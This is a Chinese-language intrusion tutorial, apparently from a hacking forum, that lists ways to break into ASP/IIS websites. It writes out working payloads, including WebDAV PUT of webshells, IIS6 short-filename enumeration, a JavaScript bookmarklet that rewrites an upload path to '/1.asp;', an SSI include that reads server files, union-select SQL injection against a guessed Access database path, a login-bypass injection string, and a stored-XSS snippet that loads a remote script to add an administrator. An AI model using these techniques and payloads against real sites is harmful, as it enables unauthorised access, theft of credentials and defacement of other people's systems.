0x00 前言
整理思路时顺手做的总结,菜比文章自娱自乐,发出来权当科普,大牛们无视。
由于大多时候asp都是与IIS配合使用,传说中的iasp极为罕见,所以这里情形均假设为ASP+IIS环境。
0x10 WEBDAV
虽然这东西不大常见基本被所有人忽略,但这里也不得不提出来并作为第一项。
究其原因就是虽然管理员一般都把这玩意禁掉,但是没有禁止的情况也不少(IIS6默认开启此项功能),如果没有禁止的话,权限大的直接PUT
SHELL,权限小但是能列目录的话可以PROPFIND列根目录,就算什么权限都没有,也可以在拿到SHELL之后LOCK一个黑页防删恶心人(开个玩
笑,莫当真)。总之先OPTIONS一下看看允许的方法是绝对不会吃亏的。
当然我们不能心存侥幸,但是万一呢?
在查看WEBDAV时还可以顺便通过返回头确定IIS版本与开启的拓展(如.net或php),还可以知道是否是CDN等一些信息。
PROPFIND、PUT、COPY等方法直接用IISWRITE工具即可,LOCK方法见附件。
最后,从 http://technet.microsoft.com/找到的search数据包提交上去都是500错误,求大牛调教。
0x20 IIS6短文件名漏洞
这个是最近爆出来的,而且没有补丁,只有临时解决方案,而微软临时解决方案的普及度可以说相当之低。用这个漏洞可以爆出web物理路径下全部的文件,虽然仅仅是8.3命名规则,但这也已经足够了。
如果扫出了RAR、7Z、ZIP等文件,再配合自己手工生成字典猜解剩下的几个字符,那么离下载也就不远了。如果是LOG、BAK、SQL、MDB等文
件,虽然这些文件在.net环境下不能下载,但是配合一些任意文件下载漏洞也是可以利用的,而且仅asp而无.net拓展的iis也不少见。
工具见附件,漏洞看似鸡肋但有些时候会达到意想不到的效果。举个例子:某站主站有且只有爆绝对路径漏洞一个:d:\webroot\website1\,旁站只有asp鸡肋注入漏洞一个,可联合查询但无后台。
一般来说这样近乎无解,但是通过这个漏洞可以扫出一些敏感目录。假设扫到:/adm12345~1/,之后猜解得/adm1234567890/。继续扫描得到数据库:/adm1234567890/db/admdata.asp,由于添加防下载表,数据库无法下载。
这时我们可以利用上面的那个鸡肋注入,尝试构造语句:
union select 1,2,3,4 from [d:\webroot\website1\adm1234567890\db\admdata.asp].adm
来猜解表名,构造语句:
union select 1,adm_pwd,3,4 from [d:\webroot\website1\adm1234567890\db\admdata.asp].adm
来猜解表名,构造语句:
union select 1,adm_pwd,adm_name,4
from [d:\webroot\website1\adm1234567890\db\admdata.asp].adm where adm_id=1
来得到最终用户名和密码。
当然,以上都是我YY出来的过程,但并不是完全没有可能的,用一个简单的漏洞测试系统就可以完整的呈现上面的过程,漏洞测试系统见附件,其中的test.mdb就是模拟上面的admdata.asp。
总之就是,无论信息多少、完整不完整,有总比没有强。
另:这程序有BUG,扫描有可能不全,而且有时候会扫出一些根本不存在的目录/文件。由于不会写多线程,同时不熟悉JAVA,写出的程序效率不能忍受不得不继续使用此程序。求大牛修改此程序,如果能加上在目录中递归扫描功能就太好了。
0x30 网站源代码
查看网站源代码十分重要,从中可以获得许多重要信息。前台可以获取上传文件目录、某些生成文件目录等,甚至有的时候会直接获取后台目录(曾经查看源代码获得目录名长度在20位以上的后台目录);而后台表单的ID/NAME值
往往就是数据库中字段的值(很多程序猿有这种编程习惯);某些上传页面也会存在一些隐藏表单从而可以修改上传路径等(参见未验证的上传页面一节);在有些
站点的注册页面会提交一个值用来指示用户的权限,而服务端没有进行验证,这样通过修改表单的值便可以直接注册管理员账户。
同时,不要局限于HTML代码,某些JS也有可能泄露非常重要的信息。养成打开浏览器的调试窗口来查看源文件是一个很好的习惯,相信我绝对不会错的。
查看源代码还有一个好处就是可以“顺手”访问到绝大多数的页面,这对于查找sql注入、爆绝对路径路径都是很有帮助的。顺便提一句:访问conn.asp等数据库连接页面有时会有惊喜,虽然几率很小但万一呢?
查看源代码不会花费多长的时间,但带来的惊喜则可能是无限的。
0x40 网站备份文件、说明文件、数据库备份文件与robots.txt
0x41 网站备份文件
大多时候仅限于非虚拟主机,基本都是类似于web.rar的名字,这人人都知道,但不是这一节的重点。
这一节的重点是如网站有二级目录http:://www.xxx.com/abc/的话,可尝试下载abc.rar等(这个可能在本级目录或上级目录);如果是二级域名http://fuck.xxx.com/的话,可以尝试下载fuck.rar等。
不要以为这个方式过于取巧,倒在这一点上的网站不知凡几。当你历尽千辛万苦旁注跨目录得到SHELL,然后看到目标站根目录躺着个web.zip的时候,这会让人抓狂的。
0x42说明文件
说明文件则是例如readme.txt、说明.txt等文件,在绝大多数时候这些文件中记录着一些敏感信息----最离谱的一次直接找到了后台的默认密码admin123qwe然后成功登陆(可能是管理员觉得这不是弱口令就没有更改)。
0x43数据库备份文件
数据库备份文件大多在/admin/databackup/、/admin/backup/等类似的目录中,或许以前找出这些文件/目录很麻烦,但是别忘了,我们有短路径漏洞扫描工具,而数据库备份文件名称大多都是按日期规则命名的,构造字典扫描,之后下载->破解->进后台,一套连招直接搞定非常有快感。
0x44 Robots.txt
这个自不用多说,如果这里面没有任何信息,那么使用googlehack发现敏感信息的几率要提升不少。
0x50 未验证的上传页面
0x51 经典的upload.asp/upfile.asp组合
不加session验证的uploader无疑是个悲剧。这里不得不说经典的upload.asp/upfile.asp组合,之所以说它经典是因为只要一句javascript,就可以上传jpg后缀的马获得shell,改包截断都嫌麻烦。代码如下:
Javascript:document.getElementsByName("filepath")[0].value=”/1.asp;”;void 0;
绿色部分自行换成表单中类似的地址,例如uppath,path之类,记得有三四种的样子。此上传测试站点可以在附件中得到。
0x52 与之类似的上传漏洞
而另外的一种上传漏洞便是存在隐藏的表单项如fileext、rename、filetype等。fileext定义允许的文件后缀,添加asp即可跳过
验证;rename可以重命名上传文件,设成1.asp;来进行IIS畸形解析是很有效的方法;而将filetype设成空或无效的值有可能导致验证模块
完全失效。以上种种都是曾经遇到的情况,虽然在现在各种建站系统的普及下已经不常见,但记住总是没错的。
0x53黑名单验证
虽然已经不常见但还是要提一句,在上传无果的情况下不妨先传个.fuck文件与.asp;jpg来尝试,第一个是为了查看是否是白名单,第二个则是查看验证后缀是否严格。最后,有些时候大小写变换会有不同的效果(虽然很罕见),可以自行修改尝试。
0x54 shtml/shtm/stm文件爆源码
如果可以上传shtml/shtm/stm文件,则可以上传一个下面SSI指令的文档并访问来读取网站的任何文件。代码如下:
<!--#include file="FILE_TO_READ"-->
其中FILE_TO_READ的值需替换为需要读取的文件路径,另:记得查看源代码,<% %>会被浏览器解释为一对完整的HTML标签从而不会显示所有内容。
0x55其他方式
大致还有0x00截断;文件名最后加0x2e(.)或0x20(空格);修改表单创建目录;双文件上传等,由于普及度很高就不做赘述。eweb、fck等编辑器突破方式基本都知道,不提。
这里提供了eweb与fck的利用方式总结。其中eweb只提供两个上传poc用以对应两个版本,fck总结来自百度,详见附件。
另外要提及一点:如果是黑名单验证但是过滤了所有可执行后缀,同时服务器开启了php拓展,那么尝试上传php来得到SHELL不失为一个可行的方案。
0x56 MIME 类型检查
由于asp很少见,故略过不谈,详情请查看附件中
Upload_Attack_Framework.pdf
这绝对是本好书,很不错的总结。
0x57 一个偷懒用的JS提交代码
最后给出一个JS代码,用来提交类似于eweb那种没有上传按钮的表单,免去构造本地页面的麻烦(如果有referer验证就那就更麻烦了)。
javascript:document.forms[0].submit();
蓝色的0请自行修改为对应的表单索引,0是第一个,1是第二个。
0x60留言板攻击与非法注册
0x61 留言板攻击
许多的建站系统都会附带一个留言板,为站点的来访者提供反馈的途径---虽然在我看来这大多情况下是无用的。而在某些时候,一个留言板恰恰可以造成整个安
全系统的崩溃----留言板会向数据库写入数据,同时用户提交的代码会在后台完全显示。第一种可能造成数据库插马,第二种则可能造成严重的XSS(或许说
是CSRF更恰当些?)。
数据库插马是一个很古老的话题,原理就是在access文本字段直接插入经过access unicode压缩后的字符,在字段unicode压缩选项开启的情况下(默认开启),储存于access中的字符会自动转换为对应的ascii字符。
具体原理就是这个,看不懂的话其实可以无视,知道怎么用即可。其中涉及到一个unicode压缩算法,这个算法到现在我也没有找到,虽然有工具但是逆向不过关,求大牛分析算法,万分感谢。
这个其实很考验人品,因为首先需要知道数据库路径,其次数据库需要为asp或asa等可执行的格式,最后需要数据库没有防下载表或<%等字符。最后如果人品差的话,插入的一句话最后的闭合符号%>会变成%?,这样一次失败,断无再次成功可能。
工具见附件,偷懒的话可以使用下面代码插入一句话,密码是f,这个一句话经测试成功率较高,密码是a的一句话则经常会丢失闭合符号从而使得插马失败。
之后便是CSRF添加管理员,具体参见
http://forum.90sec.org/viewthread.php?tid=2610
关键代码如下:
</textarea><script>s=document.createElement("script");s.src="JsFilePath";document.getElementsByTagName("head")[0].appendChild(s);</script>
其中JsFilePath替换成你的JS地址。
利用代码的最后还可以加入给自己的站点POST信息来告知CSRF已经生效,同时自己站点接收端调用邮箱发信模块/短信发送模块来进行提醒,以做到第一时间进行下一步操作。代码很简单不做赘述。
0x62非法注册
非法注册则是利用验证不严格来注册一些本不能注册的账户(例如非法的名称或非法的权限),其中构造非法的权限在“网站源代码”一节已有提及,在此不多叙述。
而构造非法名称与其类似,由于有些站点会为用户创建个人目录,而有些程序猿直接用用户名称作为目录名,如果注册一个1.asp的用户,那么这就可能被利
用。当然有些程序猿想到了这一点,从而自作聪明的使用了前台JS验证,这是非常不明智的,还是那句话,打开调试器查看源码吧,看到这样的JS就直接干掉
他,然后注册,如果成功的话则利用正常的功能上传头像等包含一句话木马的文件,之后菜刀连接即可。
如果有服务端验证也不要着急下结论,检查程序猿过滤的是哪些字符。曾经在尝试创建1.asp时无果,经过其他方式获取shell后读取源码,发现程序猿过
滤的关键字不是.与;,而是asp与asa。当时真的是太后悔了,明明与胜利只相差一步却由于细心与耐心不足误入歧途,令人很不舒服。
0x70未经授权访问的后台文件
同样的,后台页面中某个不加验证的页面更是个悲剧。如常见的/admin/left.asp,从这里面可以找到各种敏感信息,包括但不限于编辑器路径、站点绝对路径、有无数据备份等……
如果未经授权访问的文件是数据库备份文件,而表单中又存在数据库路径时,那么无论是下载数据库还是上传改表单都是有可能成功的。
另外,注意在浏览器弹出窗口/转向之前查看源代码,不止一次遇到后台直接使用JS跳转的了。
最后,便是后台的各种JS文件,曾经在某个站看到了一段代码,大致是以下内容:
success: function(msg) {
if (msg == "success") {window.location.href = "ManagerPage.aspx?name=" + name;}}
由于过去有一段时间,前后的内容忘了,大致就是ajax提交密码,成功就跳。
当然在一开始我不知道这是什么页面,以为就是登陆后的主页(因为这段代码在login.js还是类似名字的一个文件中,具体忘了),直接访问提示未授权,然后构造ManagerPage.aspx?name=admin访问,直接跳到了管理员管理页面,权限是超级管理员,之后就是添加超级管理员,登陆。
0x80 万能密码与登陆框注入
0x81 万能密码
严格上说万能密码和登陆框注入是一个原因,能用万能密码的肯定能注入跑出东西来,但谁还会在有后台的情况下不进后台而去注入呢?.net/php能直接写shell的不算。
由于我们不知道后台的查询语句,所以万能密码大多时候只能靠积累,具体见TXT文档,一个不行就多试试,写个自动提交的工具很方便。
还有另一种“万能密码”,用上了注入的知识。这种方式我以前从来没看到过,具体请参考:
http://forum.90sec.org/thread-3298-1-1.html
关键代码如下:
帐号:s' union select 1,2,'7a57a5a743894a0e',4,5,6 from admin
密码:admin
0x82 登陆框注入
Asp登陆框注入的情况真的不多,杨凡大牛前段时间发的文档中有一个
学生Desperado作品:登陆框注入实例.pdf
这个文档作为实例很有参考价值,下载地址见附件。
0x90 注入攻击
这个没什么好说的,主要是看对注入点的敏感程度以及注入语句的构造,工具在很多情况下是不好用的。而对于asp的站点而言由于大多时候是access数据库,那么掌握高级注入中的偏移是很重要的。
另外:查找注入点时一定不要放弃任何一个带有参数的链接。曾经有一次在某站多方查找漏洞无果,偶然间看到了源代码中一个img标签调用了
showimg.asp,习惯性的and 1=1;and
1=2发现漏洞,之后盲注成功获取账号密码,虽然MD5没有破解出来(可惜了,还想看看他的漏洞代码),但是查找注入的方式无疑是成功的。
偏移的知识见附件,就是下面那篇文档中的百度文库链接,下载下来方便查看。
实例文档依旧是前段时间杨凡大牛发的文档:
学生A11riseforme作品:活学活用偏移注射.pdf
把注入攻击放在第九位是为了说明很多情况下注入攻击并不是一个很好的方式----尤其是在你千辛万苦的爆出用户名和密码,结果发现没有后台来让你登陆的时候。
最后,各种查询页面、提交页面甚至是注册页面都有可能存在POST型注入,一定要留心并加以尝试。在各种注入都被服务器端拦截的情况下,尝试cookie注入可能会有惊喜。
|